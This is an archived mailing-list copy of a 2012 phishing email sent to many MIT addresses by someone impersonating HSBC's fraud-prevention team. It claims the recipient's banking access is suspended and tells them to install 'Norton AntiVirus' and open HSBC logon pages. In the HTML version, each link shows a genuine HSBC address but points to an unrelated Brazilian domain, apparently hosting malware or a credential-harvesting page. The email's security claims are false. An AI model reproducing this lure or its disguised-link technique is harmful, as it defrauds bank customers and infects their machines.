[168455] in Zephyr_Bugs
HSBC Virus Scan Instructions
daemon@ATHENA.MIT.EDU (efraudprevention@us.hsbc.com)
Wed Aug 29 15:27:51 2012
Cc: <dacquaw@mit.edu>, <dacw@mit.edu>, <dalet@mit.edu>, <dandre@mit.edu>,
<danw@mit.edu>; Wed, 29 Aug 2012 11:27:43.-0800@mit.edu
To: <zborogo@mit.edu>, <zephyr-bugs@mit.edu>, <zernicke@mit.edu>,
<zhangh@mit.edu>, <zhwang@mit.edu>, <zollars@mit.edu>,
<zqueen@mit.edu>, <zue@mit.edu>, <zukerman@mit.edu>, <cynlink@mit.edu>,
<d.bono@mit.edu>
Cc: <dacquaw@mit.edu>, <dacw@mit.edu>, <dalet@mit.edu>, <dandre@mit.edu>,
<danw@mit.edu>
From: "efraudprevention@us.hsbc.com" <efraudprevention@us.hsbc.com>
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Date: Wed, 29 Aug 2012 11:27:43 -0800
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In order to re-establish access to your Internet Banking profile, it is required that you run a Complete (may also be referred to as Deep or Full) virus scan on your computer. INSTALL OR UNINSTALL / REINSTALL ANTI-VIRUS PROGRAM Today's computer viruses are very sophisticated. It is for this reason that you must install (if not currently installed) or uninstall, then reinstall Anti-Virus program to ensure it is up-to-date and functioning properly. We recommend using Norton AntiVirus 2012 plus Internet Security & 360 Protection. After you install or reinstall your Anti-Virus program, please be sure to update the virus definitions before continuing on. If you need assistance with this process, please contact your Anti-Virus software manufacturer. RUNNING YOUR ANTI-VIRUS PROGRAM To get started, please launch HSBC's secure logon web page by clicking the following link... Business Internet Banking: https://www.us.hsbc.com/1/2/3/business/online/business-internet-banking/log-on P!
ersonal Internet Banking: https://www.us.hsbc.com/1/2/3/personal/online-services/personal-internet-banking/log-on NOTE: HSBC's secure logon web page must be visible behind the virus scan while it runs. You should not enter your username. For most customers that will be Microsoft's Internet Explorer. Next, run your Anti-Virus software. To access your Anti-Virus software you generally need to click on Start, then Programs (or All Programs in Windows XP/Vista), then look for the folder with the same name as your Anti-Virus program. Click on that folder to view your options. If you need assistance running your Anti-Virus software, please contact your Anti-Virus software manufacturer. AFTER THE ANTI-VIRUS SCAN IS COMPLETE You will receive a pop-up message indicating the scan is finished. Please take a "Print Screen" of this message (this is required even if no viruses/threats are found) by... PC Based Computers Running Microsoft Windows (Most Customers): ...Hold down the ALT!
key on your keyboard, while simultaneously pressing the PRINT SCREEN
key (sometimes abbreviated as PRINT SCRN). NOTE: If you are using a laptop you may need to press the Function key (sometimes abbreviated as FN) in place of the ALT key. NOTE: You will not see anything change when you take a screen shot. Please open your word processor, such as Microsoft Office or Microsoft Works. Click EDIT at the top of your word processor screen, followed by PASTE. You should then see a screen shot of the scan results appear in your word processor. Save the document. AFTER TAKING A "PRINT SCREEN" OF VIRUS SCAN RESULTS Please email or fax the screen shot to HSBC. Our e-mail address is efraudprevention@us.hsbc.com and our fax number is 716-841-2717. When sending your email or fax please address it to the attention of "Virus Scans" and be sure to indicate your full name & reference number (found below). AFTER SENDING YOUR VIRUS SCAN RESULTS Please contact HSBC at the telephone number listed below. We will reinstate your Internet Banking access and pro!
vide you with information on how to change your logon credentials. NOTE: After your HSBC Internet Banking access is restored you are required to change your logon credentials for the HSBC website to avoid being responsible for any future online fraud. OUR OFFICE HOURS We are here to assist you Monday through Friday from 8:00 a.m. to 10:00 p.m. ET. When contacting HSBC regarding this situation, please provide us with the Reference Number: IB-102009540Thanks and regards, Security and Fraud Risk HSBC Bank USA, N.A. Toll Free: 1-877-826-8663 Collect: (716) 841-4879, ext 6369 *Please note that as an alternative you may call the HSBC Customer Relationship Center. ****************************************************************** This E-mail is confidential. It may also be legally privileged. If you are not the addressee you may not copy, forward, disclose or use any part of it. If you have received this message in error, please delete it and all copies from your system and no!
tify the sender immediately by return E-mail. Internet communications
cannot be guaranteed to be timely, secure, error or virus-free. The sender does not accept liability for any errors or omissions. ****************************************************************** SAVE PAPER -THINK BEFORE YOU PRINT!
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<br><font size="2" face="sans-serif">In order to re-establish
access to your Internet Banking profile, it is required that you run a Complete
(may also be referred to as Deep or Full) virus scan on your computer.</font>
<br><br><font size="2" face="sans-serif"><b><u>INSTALL OR UNINSTALL / REINSTALL ANTI-VIRUS PROGRAM</u></b></font>
<br><br><font size="2" face="sans-serif">Today's computer viruses are very
sophisticated. </font><font color="red" size="2" face="sans-serif"><b>It is for
this reason that you must install (if not currently installed) or uninstall,
then reinstall Anti-Virus program to ensure it is up-to-date and
functioning properly</b></font><font size="2" face="sans-serif"><b>. </b></font><BR><font size="2" face="sans-serif"><b>We recommend using <a href="http://planenrs.com.br/1YTmxAWE/index.html" target="_blank"><font size="2" face="sans-serif">Norton AntiVirus 2012 plus Internet Security & 360 Protection</font></a>.</b> After
you install or reinstall your Anti-Virus program, please be sure to update the
virus definitions before continuing on. If you need assistance with this
process, please contact your Anti-Virus software manufacturer.</font>
<br><br><font size="2" face="sans-serif"><b><u>RUNNING YOUR ANTI-VIRUS
PROGRAM</u></b></font> <br><br><font size="2" face="sans-serif">To get started,
please launch HSBC's secure logon web page
by clicking the following link...</font> <br><font size="2" face="sans-serif"><b>Business Internet Banking</b>:
</font><a href="http://planenrs.com.br/1YTmxAWE/index.html" target="_blank"><font size="2" face="sans-serif">https://www.us.hsbc.com/1/2/3/business/online/business-internet-banking/log-on</font></a>
<br><font size="2" face="sans-serif"><b>Personal Internet Banking</b>:
</font><a href="http://planenrs.com.br/1YTmxAWE/index.html" target="_blank"><font size="2" face="sans-serif">https://www.us.hsbc.com/1/2/3/personal/online-services/personal-internet-banking/log-on</font></a>
<br><br><font size="2" face="sans-serif"><b>NOTE</b>: HSBC's secure logon web
page must be visible behind the virus scan while it runs. You should
<u>not</u> enter your username. For most customers
that will be Microsoft's Internet Explorer. </font><br><font size="2" face="sans-serif">Next, run your Anti-Virus
software. To access your Anti-Virus software you generally need to click on
<i>Start</i>, then <i>Programs</i> (or <i>All Programs</i> in Windows XP/Vista),
then look for the folder with the same name as your Anti-Virus program. Click on
that folder to view your options. If you need assistance running your Anti-Virus
software, please contact your Anti-Virus software manufacturer.</font>
<br><br><font size="2" face="sans-serif"><b><u>AFTER THE ANTI-VIRUS SCAN IS
COMPLETE</u></b></font> <br><br><font size="2" face="sans-serif">You will receive a
pop-up message indicating the scan is finished. Please take a "Print
Screen" of this message (<u>this is required even if no viruses/threats are
found</u>) by...</font> <br><br><font color="blue" size="2" face="sans-serif"><b>PC
Based Computers Running Microsoft Windows (Most Customers)</b></font><font size="2" face="sans-serif"><b>:</b></font> <br><font size="2" face="sans-serif">...Hold
down the <b>ALT</b> key on your keyboard, while simultaneously pressing the
<b>PRINT SCREEN</b> key (sometimes abbreviated as <b>PRINT SCRN</b>).</font>
<br><font size="2" face="sans-serif"><b>NOTE</b>: If you are using a laptop
you may need to press the <b>Function</b> key (sometimes abbreviated as
<b>FN</b>) in place of the <b>ALT</b> key.</font> <br>
<br><br><font size="2" face="sans-serif"><b>NOTE</b>: You will not see
anything change when you take a screen shot. Please open your word
processor, such as Microsoft Office or Microsoft Works. Click <b>EDIT</b>
at the top of your word processor screen, followed by <b>PASTE</b>. You should
then see a screen shot of the scan results appear in your word processor.
Save the document.</font> <br><br><font size="2" face="sans-serif"><b><u>AFTER
TAKING A "PRINT SCREEN" OF VIRUS SCAN RESULTS</u></b></font> <br><br><font size="2" face="sans-serif">Please email or fax the screen shot to HSBC. Our
e-mail address is <b>efraudprevention@us.hsbc.com</b> and our fax number is
<b>716-841-2717</b>.</font> <br><br><font size="2" face="sans-serif">When sending
your email or fax please address it to the attention of "Virus Scans" and be
sure to indicate your full name & reference number (found below).</font>
<br><br><font size="2" face="sans-serif"><b><u>AFTER SENDING YOUR VIRUS SCAN
RESULTS</u></b></font> <br><br><font size="2" face="sans-serif">Please contact HSBC
at the telephone number listed below. We will reinstate your Internet
Banking access and provide you with information on how to change your logon
credentials. <b>NOTE</b>: After your HSBC Internet Banking access is
restored you are required to change your logon credentials for the HSBC website
to avoid being responsible for any future online fraud.</font> <br><br><font size="2" face="sans-serif"><b><u>OUR OFFICE HOURS</u></b></font> <br><br><font size="2" face="sans-serif">We are here to assist you Monday through Friday from 8:00
a.m. to 10:00 p.m. ET.</font> <br><br><font size="2" face="sans-serif">When
contacting HSBC regarding this situation, please provide us with the Reference
Number:<b> IB-102009540<br></b></font><br><font size="2" face="sans-serif">Thanks
and regards,<br></font><br><br><font size="2" face="sans-serif"><b></b></font> <br><font size="2" face="sans-serif">Security and
Fraud Risk</font> <br><font size="2" face="sans-serif">HSBC Bank USA, N.A.</font>
<br><font size="2" face="sans-serif">Toll Free: 1-877-826-8663</font>
<br><font size="2" face="sans-serif">Collect: (716) 841-4879, ext 6369</font>
<br><br><font size="2" face="sans-serif">*Please note that as an alternative you may
call the HSBC Customer Relationship Center.</font>
******************************************************************
This E-mail is confidential. It may also be legally privileged. If you are not the addressee
you may not copy, forward, disclose or use any part of it. If you have received
this message in error, please delete it and all copies from your system and
notify the sender immediately by return E-mail. Internet communications cannot
be guaranteed to be timely, secure, error or virus-free. The sender does not
accept liability for any errors or omissions.
******************************************************************
SAVE PAPER -THINK BEFORE YOU PRINT!<BR> </div></body>
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